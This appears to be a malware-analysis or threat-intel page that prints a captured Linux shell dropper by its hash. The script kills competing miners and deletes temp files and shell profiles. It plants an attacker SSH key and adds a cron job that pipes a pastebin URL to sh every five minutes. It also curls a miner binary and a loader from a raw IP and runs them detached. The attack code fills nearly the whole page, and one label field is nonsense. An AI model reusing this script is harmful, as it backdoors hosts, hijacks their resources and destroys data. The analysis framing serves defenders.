e718fb56f1ab92f116acde54d4837e18d7f98b6534fa17fb5fb3f95ddc07b6bb_from_65.49.27.190_pgcopy.bin
Dropper, C2, persistence, miner kill
Shell fetches a raw-IP payload, arms it, and detaches itShell script downloads via wget and executes via pipe
SHA-256e718fb56f1ab92f116acde54d4837e18d7f98b6534fa17fb5fb3f95ddc07b6bb
MaleculeO₃(C₆IP₂)H₄(Po₉Cm₉F₁₁Os₂)Md
Evidence
1#!/bin/sh
2rm -f /tmp/.*
3rm -f /tmp/*
4rm -rf xmrig-6.24.0
5rm -rf /app/web/xmrig*
6rm -f /app/web/.log
7ps aux | grep -v grep | grep 'ldr.sh' | awk '{print $2}' | xargs -I % kill -9 %
8ps aux | grep -v grep | grep 'xmrig\|kworker_ds' | awk '{print $2}' | xargs -I % kill -9 %
9ps aux | grep -v grep | grep '/app/web/guard.js' | awk '{print $2}' | xargs -I % kill -9 %
10ps aux | grep -v gre …
11:77… % kill -9 %
12ps aux | grep -v grep | grep 'node /var/tmp/\|node /tmp/' | awk '{print $2}' | xargs -I % kill -9 %
13rm -rf ~/moneroocean
14for p in /proc/[0-9]*; do pid=${p##*/}; [ "$pid" -le 1 ] && continue; exe=$(readlink -f "$p/exe" 2>/dev/null) || continue; echo "$exe" | grep -Eqi 'rediserver|/postgres$' && continue; case "$exe" in /var/lib/postgresql/*|/dev/shm/*|/var/tmp/*|/tmp/*) kill -9 "$pid";; esac; done
15pkill JavaUpdate
16pkill SSHD2
17pkill -f /var/tmp/.bin
18chmod +w /var/tmp/.bin
19touch /var/tmp/.bin
20pkill mysqlserver
21pkill gitlab-redis
22pkill ksoftriqd
23rm -f /dev/shm/duet/app
24mkdir /dev/shm/duet/app
25rm -rf /home/opc/.acme.sh
26mkdir /home/opc/.acme.sh
⋯4 lines
31pkill -9 kdevtmpfsi
32pkill -9 networkservice
33pkill -9 sysupdate
34pkill -9 phpguard
35pkill -9 phpupdate
36pkill -9 networkmanager
37pkill -9 knthread
38pkill -9 mysqlserver
39pkill -9 watchbog
40pkill -9 xmrig
41pkill -9 -f /dev/shm
42pkill -9 bashirc
43echo >~/.bashrc
44echo >~/.bash_profile
45chmod -w ~/.bash_history
46chattr +i ~/.bash_history
47echo >~/.profile
48mkdir ~/.ssh
49echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcczUbb3KWRPOdPrZECTFvOnRmOYoq/EOcr34XcTBq2XkRAKa6W9XNuL+ewWp8uBLPLUtH9zpt54OQI1ebBDe+BOZYHRrfCshsQ75moWA/TjO5S7IalrBGeUpXPOYlyDyAfhjy/5dG0EGA+oO3Sui+38CDT4dnQ8TqVZZNFElrwYDHHtrzZOji7iMW0LuFDE/hkk2C5hLKD5BxmzCFZUi7BQXSgcCCwqTNe0V0QxnEbyjmePrgNVni6MOMqw+XmfDZamtmcr0MZUvlVDDnAMU59opdG4JP71S0IYozYBbXylBsHZ+s2bSdjZYTZbT0/oQZlpX2duAnYn9Ant3qLKQ9 beaj">>~/.ssh/authorized_keys
50chmod -w ~/.ssh/authorized_keys
51pgrep pbotbyjanhotzu | xargs -I % kill -9 %
52netstat -antp | grep ':10032' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
53netstat -antp | grep ':5555' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
54netstat -antp | grep ':33331' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
55netstat -antp | …
57:73… xargs kill -9
58pkill kinsing
59pkill -9 zgrab
60url="https://pastebin.com/raw/xseN2LwV"
61if crontab -l | grep -q "$url"
62then
63 echo "Cron exists"
64else
65 crontab -r
66 echo "Cron not found"
67 echo "*/5 * * * * wget -q https://pastebin.com/raw/xseN2LwV -O- |sh > /dev/null 2>&1" | crontab -
68fi
69ps -fe | grep rediserver | grep -v 'grep\|\['; if [ $? -ne 0 ]; then
⋯5 lines
75:10… continue
76 fi
77 if grep -a 'donate-level' /proc/$i/exe 1>/dev/null 2>&1; then
78 kill -9 $i
79 fi
80 if ls -al /proc/$i | grep exe | grep "/var/lib/postgresql|/var/tmp\|/tmp\|/dev/shm\|del …
85:45… ) print $2}'| xargs kill -9
86 FNAME=$(head -3 /dev/urandom | tr -cd '[:alnum:]' | cut -c -8)
87 TMNAME=$(head -3 /dev/urandom | tr -cd '[:alnum:]' | cut -c -6)
88 mkdir $FNAME
89 chmod 777 $FNAME
90 cd $FNAME
91 curl -fsSL http://119.194.153.12/icon/js/grep.json -o config.json
92 curl -fsSL http://119.194.153.12/icon/js/grep.rar -o rediserver
93 curl -fsSL http://119.194.153.12/icon/js/greppts3.sh -o $TMNAME
94 chmod +x ./rediserver
95 chmod +x $TMNAME
96 nohup ./$TMNAME $FNAME >/dev/null 2>&1 &
97 nohup bash $TMNAME $FNAME >/dev/null 2>&1 &
98 sleep 10
99 rm -f $TMNAME
100else
101 echo "running"
102fi
103rm -f $TMNAME